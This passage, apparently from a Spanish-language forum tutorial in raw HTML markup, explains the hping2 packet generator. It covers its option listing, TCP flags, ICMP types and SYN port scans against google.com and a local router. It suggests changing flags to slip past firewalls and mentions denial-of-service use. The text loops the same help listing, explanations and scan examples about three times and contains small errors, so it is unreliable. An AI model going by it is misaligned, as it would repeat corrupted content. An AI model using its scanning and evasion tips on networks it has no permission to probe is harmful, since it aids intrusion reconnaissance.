flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Solo queda probar &lt;img src="http://uf.yethost.com/Smileys/default/tongue.gif" alt="tongue" border="0" /&gt;, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....&lt;br /&gt;&lt;br /&gt;Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:&lt;br /&gt;&lt;br /&gt;para comenzar el comando &lt;b&gt;hping -h&lt;/b&gt; nos devuelve la lista de comandos (opciones):&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Code:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;usage: hping host [options]&lt;br /&gt;  -h  --help      show this help&lt;br /&gt;  -v  --version   show version&lt;br /&gt;  -c  --count     packet count&lt;br /&gt;  -i  --interval  wait (uX for X microseconds, for example -i u1000)&lt;br /&gt;      --fast      alias for -i u10000 (10 packets for second)&lt;br /&gt;  -n  --numeric   numeric output&lt;br /&gt;  -q  --quiet     quiet&lt;br /&gt;  -I  --interface interface name (otherwise default routing interface)&lt;br /&gt;  -V  --verbose   verbose mode&lt;br /&gt;  -D  --debug     debugging info&lt;br /&gt;  -z  --bind      bind ctrl+z to ttl           (default to dst port)&lt;br /&gt;  -Z  --unbind    unbind ctrl+z&lt;br /&gt;Mode&lt;br /&gt;  default mode     TCP&lt;br /&gt;  -0  --rawip      RAW IP mode&lt;br /&gt;  -1  --icmp       ICMP mode&lt;br /&gt;  -2  --udp        UDP mode&lt;br /&gt;  -8  --scan       SCAN mode.&lt;br /&gt;                   Example: hping --scan 1-30,70-90 -S www.target.host&lt;br /&gt;  -9  --listen     listen mode&lt;br /&gt;IP&lt;br /&gt;  -a  --spoof      spoof source address&lt;br /&gt;  --rand-dest      random destionation address mode. see the man.&lt;br /&gt;  --rand-source    random source address mode. see the man.&lt;br /&gt;  -t  --ttl        ttl (default 64)&lt;br /&gt;  -N  --id         id (default random)&lt;br /&gt;  -W  --winid      use win* id byte ordering&lt;br /&gt;  -r  --rel        relativize id field          (to estimate host traffic)&lt;br /&gt;  -f  --frag       split packets in more frag.  (may pass weak acl)&lt;br /&gt;  -x  --morefrag   set more fragments flag&lt;br /&gt;  -y  --dontfrag   set dont fragment flag&lt;br /&gt;  -g  --fragoff    set the fragment offset&lt;br /&gt;  -m  --mtu        set virtual mtu, implies --frag if packet size &gt; mtu&lt;br /&gt;  -o  --tos        type of service (default 0x00), try --tos help&lt;br /&gt;  -G  --rroute     includes RECORD_ROUTE option and display the route buffer&lt;br /&gt;  --lsrr           loose source routing and record route&lt;br /&gt;  --ssrr           strict source routing and record route&lt;br /&gt;  -H  --ipproto    set the IP protocol field, only in RAW IP mode&lt;br /&gt;ICMP&lt;br /&gt;  -C  --icmptype   icmp type (default echo request)&lt;br /&gt;  -K  --icmpcode   icmp code (default 0)&lt;br /&gt;      --force-icmp send all icmp types (default send only supported types)&lt;br /&gt;      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)&lt;br /&gt;      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)&lt;br /&gt;      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)&lt;br /&gt;      --icmp-help  display help for others icmp options&lt;br /&gt;UDP/TCP&lt;br /&gt;  -s  --baseport   base source port             (default random)&lt;br /&gt;  -p  --destport   [+][+]&lt;port&gt; destination port(default 0) ctrl+z inc/dec&lt;br /&gt;  -k  --keep       keep still source port&lt;br /&gt;  -w  --win        winsize (default 64)&lt;br /&gt;  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)&lt;br /&gt;  -Q  --seqnum     shows only tcp sequence number&lt;br /&gt;  -b  --badcksum   (try to) send packets with a bad IP checksum&lt;br /&gt;                   many systems will fix the IP checksum sending the packet&lt;br /&gt;                   so you'll get bad UDP/TCP checksum instead.&lt;br /&gt;  -M  --setseq     set TCP sequence number&lt;br /&gt;  -L  --setack     set TCP ack&lt;br /&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;br /&gt;  --tcpexitcode    use last tcp-&gt;th_flags as exit code&lt;br /&gt;  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime&lt;br /&gt;Common&lt;br /&gt;  -d  --data       data size                    (default is 0)&lt;br /&gt;  -E  --file       data from file&lt;br /&gt;  -e  --sign       add 'signature'&lt;br /&gt;  -j  --dump       dump packets in hex&lt;br /&gt;  -J  --print      dump printable characters&lt;br /&gt;  -B  --safe       enable 'safe' protocol&lt;br /&gt;  -u  --end        tell you when --file reached EOF and prevent rewind&lt;br /&gt;  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)&lt;br /&gt;  --tr-stop        Exit when receive the first not ICMP in traceroute mode&lt;br /&gt;  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop&lt;br /&gt;  --tr-no-rtt       Don't calculate/show RTT information in traceroute mode&lt;br /&gt;ARS packet description (new, unstable)&lt;br /&gt;  --apd-send       Send the packet described with APD (see docs/APD.txt)&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.&lt;br /&gt;&lt;br /&gt;Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....&lt;br /&gt;&lt;br /&gt;Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.&lt;br /&gt;&lt;br /&gt;En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=muh9u_F5oeg" target="_blank"&gt;http://www.youtube.com/watch?v=muh9u_F5oeg&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Algo Basico pero igual sirve para entender la teoria de como funciona esto....&lt;br /&gt;ahora enumeremos los principales flags (banderas) TCP:&lt;br /&gt;&lt;br /&gt;SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.&lt;br /&gt;ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.&lt;br /&gt;FIN: Le dice al servidor que queremos cerrar una conexion.&lt;br /&gt;Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.&lt;br /&gt;RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.&lt;br /&gt;PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van&lt;br /&gt;situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.&lt;br /&gt;Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío&lt;br /&gt;de paquetes.&lt;br /&gt;URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.&lt;br /&gt;&lt;br /&gt;Espero ando que no se me aya pasado nada, continuamos:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ICMP (Internet Control Message Protocol)&lt;/b&gt; es un protocolo bastante simple que está orientado a fines&lt;br /&gt;informativos o de control de errores.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Mensaje ICMP:&lt;/b&gt;&lt;br /&gt;0=echo reply&lt;br /&gt;3=destination unreachable&lt;br /&gt;4=source quench&lt;br /&gt;5=redirect&lt;br /&gt;8=echo&lt;br /&gt;11=time exceeded&lt;br /&gt;12=parameter problem&lt;br /&gt;13=timestamp&lt;br /&gt;14=timestamp reply&lt;br /&gt;15=information request&lt;br /&gt;16=information reply&lt;br /&gt;Supongo que se entiende no?...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Continuamos:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Para hacer mas entendible el tema vamos a la practica:&lt;/b&gt;&lt;br /&gt;Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....&lt;br /&gt;&lt;br /&gt;En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 80 google.com&lt;br /&gt;HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes&lt;br /&gt;len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Vamos por partes:&lt;/b&gt;&lt;br /&gt;-c 1: cuenta los paquetes.&lt;br /&gt;-S: especifica que utilizaremos paquetes con flags SYN.&lt;br /&gt;-p 80: especifica el puerto en este caso 80 (HTTP).&lt;br /&gt;Ahora la respuesta:&lt;br /&gt;ip=64.233.187.99: es la io que resolvio hping2.&lt;br /&gt;ttl=241: Time to Alive.&lt;br /&gt;sport=80: el puerto.&lt;br /&gt;flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;.&lt;br /&gt;&lt;b&gt;Ahora un ejemplo de puerto cerrado:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 20 192.168.1.254&lt;br /&gt;HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes&lt;br /&gt;len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms&lt;br /&gt;&lt;br /&gt;--- 192.168.1.254 hping statistic ---&lt;br /&gt;1 packets tramitted, 1 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.6/0.6/0.6 ms&lt;br /&gt;&lt;/div&gt;Ahora como podremos darnos cuenta aqui cambio el flag:&lt;br /&gt;flags=RA&lt;br /&gt;En este caso resivimos RST y ACK o sea que el puerto esta cerrado...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ahora vamos por un puerto filtrado:&lt;/b&gt;&lt;br /&gt;En este caso es simple, por que no resiviremos respuesta jajajaja.&lt;br /&gt;&lt;br /&gt;Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Solo queda probar &lt;img src="http://uf.yethost.com/Smileys/default/tongue.gif" alt="tongue" border="0" /&gt;, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....&lt;br /&gt;&lt;br /&gt;Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:&lt;br /&gt;&lt;br /&gt;para comenzar el comando &lt;b&gt;hping -h&lt;/b&gt; nos devuelve la lista de comandos (opciones):&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Code:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;usage: hping host [options]&lt;br /&gt;  -h  --help      show this help&lt;br /&gt;  -v  --version   show version&lt;br /&gt;  -c  --count     packet count&lt;br /&gt;  -i  --interval  wait (uX for X microseconds, for example -i u1000)&lt;br /&gt;      --fast      alias for -i u10000 (10 packets for second)&lt;br /&gt;  -n  --numeric   numeric output&lt;br /&gt;  -q  --quiet     quiet&lt;br /&gt;  -I  --interface interface name (otherwise default routing interface)&lt;br /&gt;  -V  --verbose   verbose mode&lt;br /&gt;  -D  --debug     debugging info&lt;br /&gt;  -z  --bind      bind ctrl+z to ttl           (default to dst port)&lt;br /&gt;  -Z  --unbind    unbind ctrl+z&lt;br /&gt;Mode&lt;br /&gt;  default mode     TCP&lt;br /&gt;  -0  --rawip      RAW IP mode&lt;br /&gt;  -1  --icmp       ICMP mode&lt;br /&gt;  -2  --udp        UDP mode&lt;br /&gt;  -8  --scan       SCAN mode.&lt;br /&gt;                   Example: hping --scan 1-30,70-90 -S www.target.host&lt;br /&gt;  -9  --listen     listen mode&lt;br /&gt;IP&lt;br /&gt;  -a  --spoof      spoof source address&lt;br /&gt;  --rand-dest      random destionation address mode. see the man.&lt;br /&gt;  --rand-source    random source address mode. see the man.&lt;br /&gt;  -t  --ttl        ttl (default 64)&lt;br /&gt;  -N  --id         id (default random)&lt;br /&gt;  -W  --winid      use win* id byte ordering&lt;br /&gt;  -r  --rel        relativize id field          (to estimate host traffic)&lt;br /&gt;  -f  --frag       split packets in more frag.  (may pass weak acl)&lt;br /&gt;  -x  --morefrag   set more fragments flag&lt;br /&gt;  -y  --dontfrag   set dont fragment flag&lt;br /&gt;  -g  --fragoff    set the fragment offset&lt;br /&gt;  -m  --mtu        set virtual mtu, implies --frag if packet size &gt; mtu&lt;br /&gt;  -o  --tos        type of service (default 0x00), try --tos help&lt;br /&gt;  -G  --rroute     includes RECORD_ROUTE option and display the route buffer&lt;br /&gt;  --lsrr           loose source routing and record route&lt;br /&gt;  --ssrr           strict source routing and record route&lt;br /&gt;  -H  --ipproto    set the IP protocol field, only in RAW IP mode&lt;br /&gt;ICMP&lt;br /&gt;  -C  --icmptype   icmp type (default echo request)&lt;br /&gt;  -K  --icmpcode   icmp code (default 0)&lt;br /&gt;      --force-icmp send all icmp types (default send only supported types)&lt;br /&gt;      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)&lt;br /&gt;      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)&lt;br /&gt;      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)&lt;br /&gt;      --icmp-help  display help for others icmp options&lt;br /&gt;UDP/TCP&lt;br /&gt;  -s  --baseport   base source port             (default random)&lt;br /&gt;  -p  --destport   [+][+]&lt;port&gt; destination port(default 0) ctrl+z inc/dec&lt;br /&gt;  -k  --keep       keep still source port&lt;br /&gt;  -w  --win        winsize (default 64)&lt;br /&gt;  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)&lt;br /&gt;  -Q  --seqnum     shows only tcp sequence number&lt;br /&gt;  -b  --badcksum   (try to) send packets with a bad IP checksum&lt;br /&gt;                   many systems will fix the IP checksum sending the packet&lt;br /&gt;                   so you'll get bad UDP/TCP checksum instead.&lt;br /&gt;  -M  --setseq     set TCP sequence number&lt;br /&gt;  -L  --setack     set TCP ack&lt;br /&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;br /&gt;  --tcpexitcode    use last tcp-&gt;th_flags as exit code&lt;br /&gt;  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime&lt;br /&gt;Common&lt;br /&gt;  -d  --data       data size                    (default is 0)&lt;br /&gt;  -E  --file       data from file&lt;br /&gt;  -e  --sign       add 'signature'&lt;br /&gt;  -j  --dump       dump packets in hex&lt;br /&gt;  -J  --print      dump printable characters&lt;br /&gt;  -B  --safe       enable 'safe' protocol&lt;br /&gt;  -u  --end        tell you when --file reached EOF and prevent rewind&lt;br /&gt;  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)&lt;br /&gt;  --tr-stop        Exit when receive the first not ICMP in traceroute mode&lt;br /&gt;  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop&lt;br /&gt;  --tr-no-rtt       Don't calculate/show RTT information in traceroute mode&lt;br /&gt;ARS packet description (new, unstable)&lt;br /&gt;  --apd-send       Send the packet described with APD (see docs/APD.txt)&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.&lt;br /&gt;&lt;br /&gt;Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....&lt;br /&gt;&lt;br /&gt;Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.&lt;br /&gt;&lt;br /&gt;En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=muh9u_F5oeg" target="_blank"&gt;http://www.youtube.com/watch?v=muh9u_F5oeg&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Algo Basico pero igual sirve para entender la teoria de como funciona esto....&lt;br /&gt;ahora enumeremos los principales flags (banderas) TCP:&lt;br /&gt;&lt;br /&gt;SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.&lt;br /&gt;ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.&lt;br /&gt;FIN: Le dice al servidor que queremos cerrar una conexion.&lt;br /&gt;Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.&lt;br /&gt;RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.&lt;br /&gt;PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van&lt;br /&gt;situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.&lt;br /&gt;Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío&lt;br /&gt;de paquetes.&lt;br /&gt;URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.&lt;br /&gt;&lt;br /&gt;Espero ando que no se me aya pasado nada, continuamos:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ICMP (Internet Control Message Protocol)&lt;/b&gt; es un protocolo bastante simple que está orientado a fines&lt;br /&gt;informativos o de control de errores.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Mensaje ICMP:&lt;/b&gt;&lt;br /&gt;0=echo reply&lt;br /&gt;3=destination unreachable&lt;br /&gt;4=source quench&lt;br /&gt;5=redirect&lt;br /&gt;8=echo&lt;br /&gt;11=time exceeded&lt;br /&gt;12=parameter problem&lt;br /&gt;13=timestamp&lt;br /&gt;14=timestamp reply&lt;br /&gt;15=information request&lt;br /&gt;16=information reply&lt;br /&gt;Supongo que se entiende no?...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Continuamos:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Para hacer mas entendible el tema vamos a la practica:&lt;/b&gt;&lt;br /&gt;Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....&lt;br /&gt;&lt;br /&gt;En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 80 google.com&lt;br /&gt;HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes&lt;br /&gt;len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Vamos por partes:&lt;/b&gt;&lt;br /&gt;-c 1: cuenta los paquetes.&lt;br /&gt;-S: especifica que utilizaremos paquetes con flags SYN.&lt;br /&gt;-p 80: especifica el puerto en este caso 80 (HTTP).&lt;br /&gt;Ahora la respuesta:&lt;br /&gt;ip=64.233.187.99: es la io que resolvio hping2.&lt;br /&gt;ttl=241: Time to Alive.&lt;br /&gt;sport=80: el puerto.&lt;br /&gt;flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;.&lt;br /&gt;&lt;b&gt;Ahora un ejemplo de puerto cerrado:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 20 192.168.1.254&lt;br /&gt;HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes&lt;br /&gt;len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms&lt;br /&gt;&lt;br /&gt;--- 192.168.1.254 hping statistic ---&lt;br /&gt;1 packets tramitted, 1 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.6/0.6/0.6 ms&lt;br /&gt;&lt;/div&gt;Ahora como podremos darnos cuenta aqui cambio el flag:&lt;br /&gt;flags=RA&lt;br /&gt;En este caso resivimos RST y ACK o sea que el puerto esta cerrado...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ahora vamos por un puerto filtrado:&lt;/b&gt;&lt;br /&gt;En este caso es simple, por que no resiviremos respuesta jajajaja.&lt;br /&gt;&lt;br /&gt;Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Solo queda probar &lt;img src="http://uf.yethost.com/Smileys/default/tongue.gif" alt="tongue" border="0" /&gt;, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....&lt;br /&gt;&lt;br /&gt;Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:&lt;br /&gt;&lt;br /&gt;para comenzar el comando &lt;b&gt;hping -h&lt;/b&gt; nos devuelve la lista de comandos (opciones):&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Code:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;usage: hping host [options]&lt;br /&gt;  -h  --help      show this help&lt;br /&gt;  -v  --version   show version&lt;br /&gt;  -c  --count     packet count&lt;br /&gt;  -i  --interval  wait (uX for X microseconds, for example -i u1000)&lt;br /&gt;      --fast      alias for -i u10000 (10 packets for second)&lt;br /&gt;  -n  --numeric   numeric output&lt;br /&gt;  -q  --quiet     quiet&lt;br /&gt;  -I  --interface interface name (otherwise default routing interface)&lt;br /&gt;  -V  --verbose   verbose mode&lt;br /&gt;  -D  --debug     debugging info&lt;br /&gt;  -z  --bind      bind ctrl+z to ttl           (default to dst port)&lt;br /&gt;  -Z  --unbind    unbind ctrl+z&lt;br /&gt;Mode&lt;br /&gt;  default mode     TCP&lt;br /&gt;  -0  --rawip      RAW IP mode&lt;br /&gt;  -1  --icmp       ICMP mode&lt;br /&gt;  -2  --udp        UDP mode&lt;br /&gt;  -8  --scan       SCAN mode.&lt;br /&gt;                   Example: hping --scan 1-30,70-90 -S www.target.host&lt;br /&gt;  -9  --listen     listen mode&lt;br /&gt;IP&lt;br /&gt;  -a  --spoof      spoof source address&lt;br /&gt;  --rand-dest      random destionation address mode. see the man.&lt;br /&gt;  --rand-source    random source address mode. see the man.&lt;br /&gt;  -t  --ttl        ttl (default 64)&lt;br /&gt;  -N  --id         id (default random)&lt;br /&gt;  -W  --winid      use win* id byte ordering&lt;br /&gt;  -r  --rel        relativize id field          (to estimate host traffic)&lt;br /&gt;  -f  --frag       split packets in more frag.  (may pass weak acl)&lt;br /&gt;  -x  --morefrag   set more fragments flag&lt;br /&gt;  -y  --dontfrag   set dont fragment flag&lt;br /&gt;  -g  --fragoff    set the fragment offset&lt;br /&gt;  -m  --mtu        set virtual mtu, implies --frag if packet size &gt; mtu&lt;br /&gt;  -o  --tos        type of service (default 0x00), try --tos help&lt;br /&gt;  -G  --rroute     includes RECORD_ROUTE option and display the route buffer&lt;br /&gt;  --lsrr           loose source routing and record route&lt;br /&gt;  --ssrr           strict source routing and record route&lt;br /&gt;  -H  --ipproto    set the IP protocol field, only in RAW IP mode&lt;br /&gt;ICMP&lt;br /&gt;  -C  --icmptype   icmp type (default echo request)&lt;br /&gt;  -K  --icmpcode   icmp code (default 0)&lt;br /&gt;      --force-icmp send all icmp types (default send only supported types)&lt;br /&gt;      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)&lt;br /&gt;      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)&lt;br /&gt;      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)&lt;br /&gt;      --icmp-help  display help for others icmp options&lt;br /&gt;UDP/TCP&lt;br /&gt;  -s  --baseport   base source port             (default random)&lt;br /&gt;  -p  --destport   [+][+]&lt;port&gt; destination port(default 0) ctrl+z inc/dec&lt;br /&gt;  -k  --keep       keep still source port&lt;br /&gt;  -w  --win        winsize (default 64)&lt;br /&gt;  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)&lt;br /&gt;  -Q  --seqnum     shows only tcp sequence number&lt;br /&gt;  -b  --badcksum   (try to) send packets with a bad IP checksum&lt;br /&gt;                   many systems will fix the IP checksum sending the packet&lt;br /&gt;                   so you'll get bad UDP/TCP checksum instead.&lt;br /&gt;  -M  --setseq     set TCP sequence number&lt;br /&gt;  -L  --setack     set TCP ack&lt;br 